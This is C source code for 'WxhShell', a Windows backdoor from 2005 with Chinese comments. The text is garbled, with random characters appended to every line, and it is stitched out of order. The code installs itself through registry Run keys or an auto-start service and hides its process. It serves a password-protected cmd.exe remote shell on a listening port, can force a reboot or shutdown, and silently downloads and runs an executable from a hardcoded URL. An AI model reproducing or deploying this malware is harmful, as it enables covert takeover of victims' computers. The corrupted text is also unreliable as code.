    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `a!:-.:v  
    if(Boot(SHUTDOWN)) !p4y@U{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p..O;_U  
    else { ?)ROQ1-#@  
    closesocket(wsh); g@<E0 q&`$  
    ExitThread(0); bHi0N@W!vG  
    } oBm^RHTZ  
    break; R>ak 3Y  
    } !2R<T/9~  
  // 获取shell n8!qz:z/  
  case 's': { QX'EMyK$  
    CmdShell(wsh); 0x-58i0  
    closesocket(wsh); TaZw_)4c  
    ExitThread(0); XYOPX>$T  
    break; 4|Wg lri  
  } .!kO2/:6  
  // 退出 } +@H&}u  
  case 'x': { [`_ZlC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JMUk=p<\  
    CloseIt(wsh); B4<W%lm  
    break; '>}dqp{Wr  
    } =` b/ip5  
  // 离开 4rmSo^vK  
  case 'q': { Gl1Qbd0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7.r}98V  
    closesocket(wsh); Aj9Onz,Lg  
    WSACleanup(); : *~}\M*  
    exit(1); 8+L,a_q-  
    break; T\G2B*fGd  
        } ),<E-Ub  
  } `v1Xywg9P  
  } q\B048~KK  
[Ipg",Su;f  
  // 提示信息 r@2{>j8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LxM.z1  
} 6evW O!  
  } R3G+tE/Y  
Q}a,+*N.  
  return; c\n&Z'vK  
} V>{G$(v$  
Bc/'LI.%  
// shell模块句柄 M<A*{@4$w&  
int CmdShell(SOCKET sock) X_7cwPY  
{ =?*6lS}gy  
STARTUPINFO si; Lqt.S|  
ZeroMemory(&si,sizeof(si)); Koi  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Myl!tXawe8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p m4g),s  
PROCESS_INFORMATION ProcessInfo; v{N4*P.0T  
char cmdline[]="cmd"; Y1?"Ut  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /-#1ys#F=  
  return 0; )w{bT]   
} ^ lUV^%f  
d,Fj|}S  
// 自身启动模式 oBA]qI  
int StartFromService(void) & *^FBJEa.  
{ ]vyu!  
typedef struct X `[P11`  
{ JQ>GKu~  
  DWORD ExitStatus; NV|[.g=lg  
  DWORD PebBaseAddress; 6z/ct|n  
  DWORD AffinityMask; %{fa . >6  
  DWORD BasePriority; G2bZl% ,D  
  ULONG UniqueProcessId; +>em !~3  
  ULONG InheritedFromUniqueProcessId; hnQDm$k  
}   PROCESS_BASIC_INFORMATION; r((2.,\Z  
B@:c 8}2.  
PROCNTQSIP NtQueryInformationProcess; +0w~Skd,  
a?zn>tx  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >q'xW=Y j\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3f u*{8.XZ  
jm-J_o;}z6  
  HANDLE             hProcess; QF  P3S(  
  PROCESS_BASIC_INFORMATION pbi; c]#+W@$  
`5[$8;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q^&oXM'x/i  
  if(NULL == hInst ) return 0; 5wy1%/;  
hPC t-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Bf72 .gx{0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >@NH Al  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uhyw?#f  
0 !D,74r  
  if (!NtQueryInformationProcess) return 0; L[]*vj   
F:PaVr3q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7,i}M  
  if(!hProcess) return 0; *wgHa6?+7  
Q}KNtNCpx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5E~?hWAv  
Dq#/Uw#  
  CloseHandle(hProcess); |H:JwxH  
.6,+q2tyk,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (xp<@-  
if(hProcess==NULL) return 0; Ywj=6 +;  
CDDx %#eG>  
HMODULE hMod; 7x/S4Gs'4  
char procName[255]; Di[}y;  
unsigned long cbNeeded; ZZkxEq+D  
p2c4 <f-M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3:">]LMi  
} {! #` 's  
  CloseHandle(hProcess); 1v)X]nW  
dmq<vVxC  
if(strstr(procName,"services")) return 1; // 以服务启动 wq|~[+y  
RL|13CG OP  
  return 0; // 注册表启动 O*hd@2hd  
} xvZNshkpAX  
qf/1a CQiP  
// 主模块 Uoskfm  
int StartWxhshell(LPSTR lpCmdLine) ~R;9a"nr  
{ AML8.wJ  
  SOCKET wsl; jlmP1b9  
BOOL val=TRUE; HT]v S}s  
  int port=0; L53qQej<  
  struct sockaddr_in door; Q^^.@FU"x  
\5+?wpH  
  if(wscfg.ws_autoins) Install(); k,EI+lCX  
{U$qxC]M  
port=atoi(lpCmdLine); v&6=(k{E@R  
-mSiZ  
if(port<=0) port=wscfg.ws_port; l!n<.tQW  
]gN]Cw\L  
  WSADATA data; Z_ Gb9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Xx;RH9YYz  
'%W'HqVcG1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U6hT*126  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]dXHjOpA  
  door.sin_family = AF_INET; rsbd DTy  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i|'M'^3r  
  door.sin_port = htons(port); :<-,[(@bR  
(nhv#&Fd+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { br!:g]Vh  
closesocket(wsl); OL,3Jh% x  
return 1; DzZ)a E  
} tEz6B}  
P;&rh U^[  
  if(listen(wsl,2) == INVALID_SOCKET) { <Tq&Va_w  
closesocket(wsl); ?/mkFDN  
return 1; =1dU~B:Lm  
} O1/U3 /2/d  
  Wxhshell(wsl); X(D$eV  
  WSACleanup(); {x{/{{wzv  
"J0,SFu:  
return 0; 8\Y/?$on  
8\-Q(9q(  
} gTI!b  
jL$&]sQ`O)  
// 以NT服务方式启动 fV-vy]x..  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Jjb(lW  
{ 9aLS%-x!+  
DWORD   status = 0; &G5=?ub  
  DWORD   specificError = 0xfffffff;  N-x~\B!  
{VWUK`3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )I80Nq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #A8d@]Ps  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Cdjh/+!f  
  serviceStatus.dwWin32ExitCode     = 0; fvajNP  
  serviceStatus.dwServiceSpecificExitCode = 0; V?g@pnN"  
  serviceStatus.dwCheckPoint       = 0; ?Rc+H;x=f  
  serviceStatus.dwWaitHint       = 0; !6eXJ#~[E  
Luxo,Ve  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U D9&k^  
  if (hServiceStatusHandle==0) return; NO4V{}?a  
xl%!7?G|$>  
status = GetLastError(); s52c`+  
  if (status!=NO_ERROR) x 4SI TY  
{ 1a#oJU  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B,SH9,  
    serviceStatus.dwCheckPoint       = 0; GW ]E,a  
    serviceStatus.dwWaitHint       = 0; :kycIM]s  
    serviceStatus.dwWin32ExitCode     = status; =e7,d$i  
    serviceStatus.dwServiceSpecificExitCode = specificError; ZeD""vJRY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )oOcV%  
    return; @MfuV4*  
  } O?uT'$GT  
)z0qKb \  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Rn O%8Hk  
  serviceStatus.dwCheckPoint       = 0; mU1lEx$  
  serviceStatus.dwWaitHint       = 0; 1sFTXl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WA-` *m$v  
} m`<Mzk.u<  
RUTlwTdv  
// 处理NT服务事件,比如:启动、停止 m178S3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2[&3$-]  
{ e^g3J/aU  
switch(fdwControl) dhe?7r ]u  
{ 9wP_dJvb  
case SERVICE_CONTROL_STOP: nZ>bOP+,  
  serviceStatus.dwWin32ExitCode = 0; (7RxCo=X  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Cc:4n1|]>  
  serviceStatus.dwCheckPoint   = 0; q #f U*  
  serviceStatus.dwWaitHint     = 0; :$&%Pxm  
  { qC9$xIWq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^/ K\a ,  
  } j(|G) F  
  return; 9Vx2VjK2'  
case SERVICE_CONTROL_PAUSE: IVYWda0m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; QDlEby m  
  break; !FweXFl  
case SERVICE_CONTROL_CONTINUE: %H:uE*WZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qvz2u]IOw  
  break; Wjt1NfS&  
case SERVICE_CONTROL_INTERROGATE: `nc cRy< l  
  break; a^qLyF& F  
}; F]~rA! g1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); so|5HR|  
} F_ ~L&jHP  
=z'w-ARy  
// 标准应用程序主函数 DSY:aD!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U^4 /rbQ  
{ SCl$+9E  
./@!k[  
// 获取操作系统版本 #n^P[Zw  
OsIsNt=GetOsVer(); -bHQy:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >_QC_UX>4i  
qu[ ~#  
  // 从命令行安装 Gx ?p,Fj  
  if(strpbrk(lpCmdLine,"iI")) Install(); q/xMM `{  
RQI?\?o  
  // 下载执行文件 !|`G<WD  
if(wscfg.ws_downexe) { ]trVlmZXH}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G#/}_P  
  WinExec(wscfg.ws_filenam,SW_HIDE); #Ag-?k  
} ko2Kz k  
Ghgx8 ]e  
if(!OsIsNt) { I]P'wav~O  
// 如果时win9x,隐藏进程并且设置为注册表启动 E6n3[Z  
HideProc(); JicAz1P1W  
StartWxhshell(lpCmdLine); hXi^{ntw,  
} p<>%9180!F  
else <,d.`0:y  
  if(StartFromService()) $x5P5^Y  
  // 以服务方式启动 ig:/60Z  
  StartServiceCtrlDispatcher(DispatchTable); mH> oF|  
else U0'>(FP~2  
  // 普通方式启动 U@+ @Mc  
  StartWxhshell(lpCmdLine); uR{HCZ-  
u2 a U0k:  
return 0; FR9<$  
} J#B% #X  
{S(d5o8  
E4RvVfA0F  
C.V")D=  
=========================================== [-!   
I_@\O!<y}  
}}XYV eI  
e Ll+F%@  
|ofegO}W7  
-x2/y:q`  
"  5k.NZ  
eRQ}`DjTk  
#include <stdio.h> D.o|pTZ  
#include <string.h> }fnp}L  
#include <windows.h> kf+]bV  
#include <winsock2.h> MZf$8R  
#include <winsvc.h> 6Y6DkFdvrZ  
#include <urlmon.h> {g}!M^|  
6V\YYrUz  
#pragma comment (lib, "Ws2_32.lib") S(](C  
#pragma comment (lib, "urlmon.lib") ^,')1r,  
24"Trg\WK[  
#define MAX_USER   100 // 最大客户端连接数 O[f*!  
#define BUF_SOCK   200 // sock buffer Ed,`1+  
#define KEY_BUFF   255 // 输入 buffer zu&5[XL  
(Da/$S.  
#define REBOOT     0   // 重启 / <WB%O  
#define SHUTDOWN   1   // 关机 / ]_T  
y0>asl  
#define DEF_PORT   5000 // 监听端口 'M185wDdAl  
Ar4E $\W  
#define REG_LEN     16   // 注册表键长度 LAeJz_9U  
#define SVC_LEN     80   // NT服务名长度 g1VdP[Y#  
LY2oBX@fC  
// 从dll定义API |;_NCy8i3X  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %se4aeOrX  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B7(~m8:eH7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q[_{:DJA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); OiNzN.}d  
)ALPMmlRs  
// wxhshell配置信息 M>dP 1  
struct WSCFG { I&]d6,  
  int ws_port;         // 监听端口 HXhz|s0  
  char ws_passstr[REG_LEN]; // 口令 'Ca6cm3Tg  
  int ws_autoins;       // 安装标记, 1=yes 0=no \bqIe}3V7  
  char ws_regname[REG_LEN]; // 注册表键名 PHl{pE*  
  char ws_svcname[REG_LEN]; // 服务名 G$pTTT6#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $,q~q^0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Htn=h~U`z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,~8:^*0s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !/+ZKx("9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o9ZHa  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B1T:c4:N  
:@)UI,  
}; SA&0f&07i  
\#.,@g  
// default Wxhshell configuration 'HTr02riY  
struct WSCFG wscfg={DEF_PORT, sHD8#t^{  
    "xuhuanlingzhe", u Jy1vI  
    1, YO7Y1(`  
    "Wxhshell", Wr Ht  
    "Wxhshell", BDSZ'  
            "WxhShell Service", ){`s&?M0  
    "Wrsky Windows CmdShell Service", :b)IDcW&j:  
    "Please Input Your Password: ", k\$))<3  
  1, ,dn9tY3  
  "http://www.wrsky.com/wxhshell.exe", Vy0s%k  
  "Wxhshell.exe" OQMkpX-dH  
    }; I&~kwOP  
\Zz"%i  
// 消息定义模块 0 3fCn"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; JP`$A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &C<K|F!j!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z(2pl}  
char *msg_ws_ext="\n\rExit."; ^T@ (`H4@  
char *msg_ws_end="\n\rQuit."; bh|M]*Pq  
char *msg_ws_boot="\n\rReboot..."; s.I%[kada  
char *msg_ws_poff="\n\rShutdown..."; b/'{6zn  
char *msg_ws_down="\n\rSave to "; 3~Od2nk(x  
uc!j`G*]  
char *msg_ws_err="\n\rErr!"; S9R(;  
char *msg_ws_ok="\n\rOK!"; fe PH=C  
.?R~!K{`  
char ExeFile[MAX_PATH]; iSu7K&X9q  
int nUser = 0; w>Iw&US  
HANDLE handles[MAX_USER]; W1'F)5(?7  
int OsIsNt; i^Vb42%y  
M#X8Rs1`  
SERVICE_STATUS       serviceStatus; a0I+|fR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zWKnkIit,  
1BT]_ cP  
// 函数声明 /5A um ?~  
int Install(void); eygmhaE  
int Uninstall(void); +\g/KbV7  
int DownloadFile(char *sURL, SOCKET wsh); X{4jyi-<  
int Boot(int flag); /a.4atb0  
void HideProc(void); ?q a  
int GetOsVer(void); 't:$Lx  
int Wxhshell(SOCKET wsl); ap=m5h27  
void TalkWithClient(void *cs); ~_opU(;f  
int CmdShell(SOCKET sock); aX`"V/  
int StartFromService(void); +v.uP [H  
int StartWxhshell(LPSTR lpCmdLine); {<&i4;  
@_s`@ ,=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ie{98  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Qt`hUyL  
#HFB* >  
// 数据结构和表定义 p=%Vo@*]  
SERVICE_TABLE_ENTRY DispatchTable[] = -n&g**\w  
{ e$]`  
{wscfg.ws_svcname, NTServiceMain}, K"u-nroHW  
{NULL, NULL} HT&CbEa4'  
}; & $E[l'  
uQh dg4  
// 自我安装 X[/>{rK  
int Install(void) 0VsQ$4'V^  
{ fy+fJ )4sj  
  char svExeFile[MAX_PATH]; mdjPK rF<  
  HKEY key; &*2\1;1tB  
  strcpy(svExeFile,ExeFile); biAI*t  
AsFn%8_I  
// 如果是win9x系统,修改注册表设为自启动 kFKc9}7W  
if(!OsIsNt) { Mo?eVtZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s~e<Pr?yu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4 =/5  
  RegCloseKey(key); hRAI7xk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7P1G^)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a&:1W83  
  RegCloseKey(key); ;pe1tp  
  return 0; H$'|hUwds%  
    } U\aP  
  } <Sds5 d  
} DUH\/<^g  
else { ZK:dhwer  
W0e+yIaR  
// 如果是NT以上系统,安装为系统服务 $VEG1]/svp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _|<kKfd?  
if (schSCManager!=0) l-s%3E3  
{ PPoQNW  
  SC_HANDLE schService = CreateService lGrp^  
  ( fH#yJd2?f  
  schSCManager, :QKxpHi  
  wscfg.ws_svcname, t~5m[C[`w  
  wscfg.ws_svcdisp, +m?;,JGt  
  SERVICE_ALL_ACCESS, & \<!{Y<'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t^ _0w[  
  SERVICE_AUTO_START, V{!fag  
  SERVICE_ERROR_NORMAL, #yNSQd  
  svExeFile, Br/qOO:n$}  
  NULL, 6oTWW@  
  NULL, {g8uMt\4  
  NULL, kk|7{83O  
  NULL, GJZGHUB=>  
  NULL PJd7t% m;  
  ); Pdgn9  
  if (schService!=0) % mP%W<  
  { '{]1!yMh  
  CloseServiceHandle(schService); E/bIq}R6  
  CloseServiceHandle(schSCManager); K:!){a[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6 3TeTGp$  
  strcat(svExeFile,wscfg.ws_svcname); %=p:\+`VI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^gw htnI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [6 d~q]KH  
  RegCloseKey(key); ^RL#(O  
  return 0; nc<w DE6  
    } ed3d 6/%HR  
  } ~ZrSoVP=  
  CloseServiceHandle(schSCManager); LV4\zd6  
} k+-IuO  
} mCM7FFl I  
{ 'A`ram  
return 1; t<~WDI|AN  
} y{ & k`H  
:~uvxiF  
// 自我卸载 Yz<,`w5/6~  
int Uninstall(void) V+\L@mz;  
{ nP]tc  
  HKEY key; X;2I' Kg  
Za,MzKd=  
if(!OsIsNt) { @8keLrp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [tN^)c`s/  
  RegDeleteValue(key,wscfg.ws_regname); 2!-?  
  RegCloseKey(key); Q1ox<-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7RXTQ9BS  
  RegDeleteValue(key,wscfg.ws_regname); ~\vGwy  
  RegCloseKey(key); \VY!= 9EV  
  return 0; n oWjZ  
  } }E o\=>l7  
} PK&3nXF%4  
} C\-Abq c  
else { By3y.}'Ub9  
X?6E0/r&9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [^N8v;O  
if (schSCManager!=0) 4Cd#S9<ed  
{ rbC4/9G\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !T+jb\O_  
  if (schService!=0) c L+-- $L  
  { Mn)>G36(  
  if(DeleteService(schService)!=0) { Oup5LH!sW  
  CloseServiceHandle(schService); p#14  
  CloseServiceHandle(schSCManager); bxxazsj^  
  return 0; ';H"Ye:D=7  
  } O &/9wi>!q  
  CloseServiceHandle(schService); r'TxYM-R  
  } [_$r-FA  
  CloseServiceHandle(schSCManager); :eK(9o  
} l ~bjNhk  
} )7X+T'?%  
B: '}SA{  
return 1; 6CQ.>M:R  
} $5(_U  
"o| f  
// 从指定url下载文件 +&AKDVmx  
int DownloadFile(char *sURL, SOCKET wsh) |6qxRWT"  
{ !@6P>HzY$  
  HRESULT hr; XsH(8-n0  
char seps[]= "/"; JpI(Vcd  
char *token; `zRE$O  
char *file; cImOZx  
char myURL[MAX_PATH]; jCJbmEfo9@  
char myFILE[MAX_PATH]; <5 Ye')+  
os :/-A_m  
strcpy(myURL,sURL); ]^f7s36  
  token=strtok(myURL,seps); 8|-j]   
  while(token!=NULL) oK-T@ &-  
  { MU  }<-1  
    file=token; ywSV4ZtM  
  token=strtok(NULL,seps); E$u9Jbe  
  } ';'TCb{f*  
K;n2mXYGM  
GetCurrentDirectory(MAX_PATH,myFILE); D]n"`< Ho  
strcat(myFILE, "\\"); =)h<" 2  
strcat(myFILE, file); O }ES/<an  
  send(wsh,myFILE,strlen(myFILE),0); \hlQu{q.  
send(wsh,"...",3,0); 7g* "AEk  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;8| D4+  
  if(hr==S_OK) sl5y1W/]]  
return 0; -K"" 4SC2  
else }Q }&3m~g  
return 1; 0XkLWl|k  
S]Y3nI  
} TT85G&#  
%VV\biO]  
// 系统电源模块 rNi]|)-ET  
int Boot(int flag) $ 8"we  
{ a\K__NCrX  
  HANDLE hToken; .J/x@  
  TOKEN_PRIVILEGES tkp; kiah,7V/  
@&I7z,  
  if(OsIsNt) { 0Q>yv;M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); eT(/D/jan  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r Jo8|  
    tkp.PrivilegeCount = 1; V`ODX>\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cWNZ +Q8Y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]JQ+*ZYUE  
if(flag==REBOOT) { ;)6LX-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T(GEFnt Y  
  return 0; %=ZN2)7{  
} b]-~{' +  
else { F!>92H~3G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5l(8{,NDt  
  return 0; X0QY:?  
} !!{!T;)l  
  } f1Z  
  else { LTn@OhC  
if(flag==REBOOT) { nV[0O8p2Md  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) : ~R Y  
  return 0; Czl4^STiC  
} A:-MRhE9X  
else { nnzfKn:J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jfLkp>2E'  
  return 0; |D@/4B1P  
} fZq_]1(/uP  
} \Zn%r&(  
a/ 4!zT   
return 1; uVSc1 MS1  
} 0h3 -;%  
tRUGgf`  
// win9x进程隐藏模块 ?(t{VdZSzQ  
void HideProc(void) _mEW]9Sp  
{ he vM'"|4  
z1K}] z%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a>05Yxw  
  if ( hKernel != NULL ) =&!L&M<<  
  { )=k8W9i8b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %Voq"}}N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y=NXfTc  
    FreeLibrary(hKernel); E43Gk!/|(  
  } Wl29xY}`{!  
We8n20wf<  
return; @W_=Z0]  
} /'[m6zm]  
w[K!m.p,u  
// 获取操作系统版本 C;m,{MD  
int GetOsVer(void) 9<" .1  
{ (t.OqgY  
  OSVERSIONINFO winfo; qe/|u3I<lF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i[+cNJ|$B0  
  GetVersionEx(&winfo); A89n^@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]* #k|>Fl  
  return 1; Np.] W(  
  else @5[9iY  
  return 0; Tc3~~X   
} nEG+TRZ)\  
0\y{/P?I$  
// 客户端句柄模块 fQ[& ^S$  
int Wxhshell(SOCKET wsl) [|vE*&:uO  
{ kPuI'EPK  
  SOCKET wsh; ~Z{IdE  
  struct sockaddr_in client; ( !THd  
  DWORD myID; 'XbrO|%  
>u-6,[(5X*  
  while(nUser<MAX_USER) +,g"8&>  
{ +WH|nV~lQ  
  int nSize=sizeof(client); #W]4aZ1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #A:+|{H"  
  if(wsh==INVALID_SOCKET) return 1; ]N& Y25oT5  
#GlQwk3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5n1aRA1  
if(handles[nUser]==0) Qf'%".*=~8  
  closesocket(wsh); <=yqV]JR  
else &az :YTq  
  nUser++; CyWMr/'  
  } $:4* ?8 K2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2#XYR>[  
Jc3Z1Tt  
  return 0; hoDE*>i  
} +H4H$H  
NDqvt$  
// 关闭 socket C4].egVg  
void CloseIt(SOCKET wsh) "44A#0)B'l  
{ NI%&Xhn!*>  
closesocket(wsh); Cj +{%^#  
nUser--; H}p5qW.tH:  
ExitThread(0); @:ojt$  
} nZtP!^#  
D,c53B6M  
// 客户端请求句柄 iPuX  
void TalkWithClient(void *cs) wuV*!oefo  
{ 8M~^/Zc  
xh90qm  
  SOCKET wsh=(SOCKET)cs; >QcIrq%=  
  char pwd[SVC_LEN]; Vzmw%f)_+  
  char cmd[KEY_BUFF]; 7<Yf  
char chr[1]; L3@upb  
int i,j; %77X/%.Y  
z2 m(<zb  
  while (nUser < MAX_USER) { l$\OSG  
P{gGvC,  
if(wscfg.ws_passstr) { B(zcoWQ*B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 01_*^iCf5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CD"D^\z  
  //ZeroMemory(pwd,KEY_BUFF); 89kxRH\IhG  
      i=0; j{`C|zg  
  while(i<SVC_LEN) { )o;oOPT!  
BPwn!ii|  
  // 设置超时 6!;eJYj,  
  fd_set FdRead; *URBx"5XZ  
  struct timeval TimeOut; `p'(:W3a  
  FD_ZERO(&FdRead); tW8&:L,m  
  FD_SET(wsh,&FdRead); lR8Lfa*/7  
  TimeOut.tv_sec=8; jI;iTKjB(  
  TimeOut.tv_usec=0; Z+%w|Sx  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dln1JZ!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e*Gt%'  
2K~<_.S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]}za  
  pwd=chr[0]; JK/VIu&!  
  if(chr[0]==0xd || chr[0]==0xa) { }iE!( l  
  pwd=0; w{$X :Z  
  break; ';>A=m9(4%  
  } Bokpvd-c7  
  i++; +5k^-  
    } |Q\O% cb  
VUF$,F9  
  // 如果是非法用户,关闭 socket h't! 1u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4[P]+Z5b+  
} &%\H170S  
~B2,edkM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~w,c6 Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [vV5@nP:  
)zK6>-KWA  
while(1) { ~ 7^#.  
<5t2+D]]}  
  ZeroMemory(cmd,KEY_BUFF); EG&97l b  
V0 O6\)/.  
      // 自动支持客户端 telnet标准   }NgevsV>;  
  j=0; }QzF.![~z  
  while(j<KEY_BUFF) { a:V2(nY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2Vwv#NAV k  
  cmd[j]=chr[0]; 1!P\x=Nn_  
  if(chr[0]==0xa || chr[0]==0xd) { 7/>#yR  
  cmd[j]=0; GX\6J]x=^2  
  break; 8rEUZk  
  } Mcfqo0T-  
  j++; !C3ozZ<  
    } W-8U~*/  
0hB9D{`,{  
  // 下载文件 +WTO_J7  
  if(strstr(cmd,"http://")) {  qH9bo-6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M. o}?  
  if(DownloadFile(cmd,wsh)) # ^q87y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,g~Iup  
  else Kwmtt  
